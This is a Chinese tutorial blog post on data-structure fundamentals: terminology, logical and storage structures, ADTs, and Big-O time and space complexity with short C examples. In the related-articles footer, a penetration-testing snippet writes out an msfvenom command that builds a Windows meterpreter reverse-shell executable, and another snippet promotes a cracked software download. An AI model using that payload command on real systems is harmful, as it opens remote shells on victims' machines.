数据结构的概念大合集01(含数据结构的基本定义,算法及其描述)

news2024/11/25 23:02:17

概念大合集01

  • 1、数据结构基础的定义
  • 2、数据结构
    • 2.1 数据元素之间关系的集合
    • 2.2数据结构的三要素
      • 2.2.1数据的逻辑结构
      • 2.2.2数据的存储(物理)结构
      • 2.2.3数据的运算
  • 3、数据类型
  • 4、抽象数据类型类型(ADT)
  • 5、算法及其描述
    • 5.1算法的5个特性
    • 5.2算法设计的目标
    • 5.3算法的时间复杂度
      • 5.3.1时间复杂度的求和、求积定理
    • 5.4算法的空间复杂度

阅读指导:
       本文内容丰富,涵盖广泛,读者朋友们可以根据目录指引,直接跳跃至您感兴趣的章节开始品读。此外,作者正在积极创作后续篇章,如果您对本篇文章有所喜爱,不妨点击关注,以便第一时间获取最新作品动态。
       现在,让我们开始正文的旅程吧。希望您能细细品味每一个字句,如果您在任何地方发现有任何不妥或欠缺之处,请在评论区不吝赐教。作者将虚心接受您的宝贵意见,并努力进行改进。期待您的宝贵反馈!
下一篇文章
数据结构的概念大合集02(线性表)

1、数据结构基础的定义

名称具体概念
数据描述客观事物的数和字符的集合,能被计算机程序处理的符号总称
数据元素数据的基本单位,又称元素、结点、顶点、记录
数据项是具有独立含义的数据最小单位,是构成数据元素的最小单位,又称字段、域
数据对象性质相同的数据元素的集合,是数据的一个子集
数据结构是相互之间存在一种或多种特定关系的数据元素的集合,包括逻辑结构和物理结构
数据类型是一个值的集合和定义在这个值集上的一组操作的总称
抽象数据类型是指一个数学模型以及定义在该模型上的一组操作

请添加图片描述

2、数据结构

2.1 数据元素之间关系的集合

数据的基本结构关系
集合属于同一个集合,没有什么具体关系
线性结构一对一
树形结构一对多
图形(网状)结构多对多

2.2数据结构的三要素

2.2.1数据的逻辑结构

从逻辑上表示数据,与具体的存储无关

数据的逻辑结构
线性结构
非线性结构
线性表
队列
集合

2.2.2数据的存储(物理)结构

指的是数据的逻辑结构在计算机的具体实现,依赖于计算机语言

数据的存储结构
顺序存储
链式存储
索引存储
散列存储 哈希存储

2.2.3数据的运算

数据的运算包括运算定义运算实现

  • 运算定义:对于运算功能的描述,是抽象的,是基于逻辑关系的
  • 运算实现:是程序员完成运算的实现算法,是具体的,是基于存储结构的

3、数据类型

指的是一组性质相同的值的集合和定义在此集合上的一组操作的总称
比如C语言中的int、float等。

4、抽象数据类型类型(ADT)

逻辑结构+抽象运算
定义抽象数据类型:
ADT 抽象数据类型名
{
数据对象:<数据对象的定义>
数据关系:<数据关系的定义>
基本操作:<基本操作的定义>
}

5、算法及其描述

5.1算法的5个特性

又穷性;确定性;可行性;有输入;有输出

5.2算法设计的目标

正确性;可使用性;可读性;健壮性;高效率与低存储量需求

5.3算法的时间复杂度

主要衡量的是一个算法的运行速度。为了描述一个算法的时间复杂度,人们发明了一个通用的表示方法:

「 大O符号表示法 」,即 T(n) = O(f(n))

我们先来看个例子:

for(i=1; i<=n; ++i) //第一行
{
   j = i;	//第三行
   j++;		//第四行
}

在大O符号表示法中,f(n)表示每行代码的执行次数之和;

所以上述代码中,第一行执行一次,第三行执行n次,第四行执行n次,整段代码执行(1+2n)次,即f(n)=1+2n;

取波极限,当n无穷大时,则令f(n)=n(注意不是2n,这是简化的写法);

于是此时T(n) = O(n);

为什么可以大O表示法可以简写呢,主要是因为这个表达式主要是表示代码执行时间的增长的变化趋势的,所以当n无穷大时,常数1和倍数2的意义就不是很大了。所以在采取大O表示法的时候,我们常取其指数最大的一项来表示,同时省略其他项和指数最大项的倍数。

常见的时间复杂度量级有:

  • 常数阶O(1)
  • 对数阶O(logN)
  • 线性阶O(n)
  • 线性对数阶O(nlogN)
  • 平方阶O(n²)
  • 立方阶O(n³)
  • K次方阶O(n^k)
  • 指数阶(2^n)

上面从上至下依次的时间复杂度越来越大,执行的效率越来越低。

5.3.1时间复杂度的求和、求积定理

T1(n) = O(f(n))
T2(n) = O(g(n))
求和:T1(n) + T2(n) = O( Max ( f(n),g(n) ) )
求积:T1(n) × T2(n) = O( f(n) × g(n) )

5.4算法的空间复杂度

空间复杂度是对一个算法在运行过程中临时占用存储空间大小的一个量度,同样反映的是一个趋势,我们用 S(n) 来定义。与上面的时间复杂度一样,也采用大O表示法。
即S(n) = O( g(n) )
举例:

  1. 空间复杂度O(1)
    如果算法执行所需要的临时空间不随着某个变量n的大小而变化,即此算法空间复杂度为一个常量,可表示为 O(1)
    举例:
int i = 1;
int j = 2;
++i;
j++;
int m = i + j;

代码中的 i、j、m 所分配的空间都不随着处理数据量变化,因此它的空间复杂度 S(n) = O(1)

  1. 空间复杂度O(n)
int fun(int n)
{
	return n < 2 ? n : fun(n - 1)*n;
}

阶乘递归函数会依次调用fun(N),fun(N-1),…,fun(2),fun(1),开辟了n个空间,所以空间复杂度为O(n) 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522846.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NCV4275CDT50RKG稳压器芯片中文资料规格书PDF数据手册引脚图图片价格功能

产品概述&#xff1a; NCV4275C 是一款低漏稳压器&#xff0c;可用于严酷汽车环境。它包括了较宽的运行温度范围和输出电压范围。输出调节为 5.0 V 或 3.3 V&#xff0c;额定输出电流为 450 mA。它还提供过电流保护、超温保护和可编程微处理器重置等多种功能。NCV4275C 采用 D…

观察者模式的理解和引用

1.前言 在之前的H5小游戏中&#xff0c;对于长连接发送的不同类型数据包的处理&#xff0c;是通过switch语句进行处理的&#xff0c;于是在自己的代码中出现了大量的case分支&#xff0c;不方便进行维护和后期的版本迭代。于是在老师的指导下&#xff0c;开始寻求使用观察者模…

互动投影游戏如何为科普教育馆带来更加生动有趣的科普体验?

近年科普教育馆在数字多媒体技术的支持下&#xff0c;让更多的家长和孩子注意到这一展示场景&#xff0c;尤其是对孩子来说&#xff0c;这里不仅是一个扩展知识的场景&#xff0c;更是一个发掘自我、探索未知世界的地方&#xff0c;而在这个过程中&#xff0c;多媒体互动技术的…

【MySQL高级篇】08-事务篇

第13章:事务基础知识 #09-事务的基础知识#1.事务的完成过程 #步骤1&#xff1a;开启事务 #步骤2&#xff1a;一系列的DML操作 #.... #步骤3&#xff1a;事务结束的状态&#xff1a;提交的状态(COMMIT) 、 中止的状态(ROLLBACK)#2. 显式事务#2.1 如何开启&#xff1f; 使用关键…

蓝桥:保险箱(Python,动态规划)

问题描述&#xff1a; 小蓝有一个保险箱&#xff0c;保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字&#xff0c;每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前&#xff08;左边&#xff09;进位/退位&#xff0c;当最高位&#x…

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css&#xff0c;但是很多人又认为&#xff0c;css主要是用来完成页面布局的&#xff0c;像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段&#xff1a; 古典密码学时期&#xff08;古代至20世纪初&#xff09;&#xff1a; 在古代&#xff0c;人们就已经开始使用简单的加密技术来保护通信内容&#xff0c;例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中&#xff0c;经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时&#xff0c;我也遇到了一个需要使用到延迟消息队列的需求场景&#xff0c;因此我也在网上调研了一系列不同的延迟队列的实现方案&#xff0c;在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后&#xff0c;打开word复制粘贴时报错“运行时错误53,文件未找到&#xff1a;MathPage.WLL” 首先确定自己电脑的位数&#xff08;这里默认32位&#xff09; 右击MathType桌面图标&#xff0c;点击“打开文件所在位置”&#xff0c; 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候&#xff0c;作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库&#xff0c;如Autofac这种进行服务注入&#xff0c;通过本身的.Core Weabpi实现的&#xff0c;总结了两种实现方法&#xff0c; 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块&#xff08;Spatiotemporal Interactive Learning Module&#xff09;1.5.3 动态图推理模块&#xff08;Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏&#xff0c;通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励&#xff0c;当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…

vscode插件开发-发布插件

安装vsce vsce是“Visual Studio Code Extensions”的缩写&#xff0c;是一个用于打包、发布和管理VS Code扩展的命令行工具。 确保您安装了Node.js。然后运行&#xff1a; npm install -g vscode/vsce 您可以使用vsce轻松打包和发布扩展&#xff1a; // 打包插件生成name…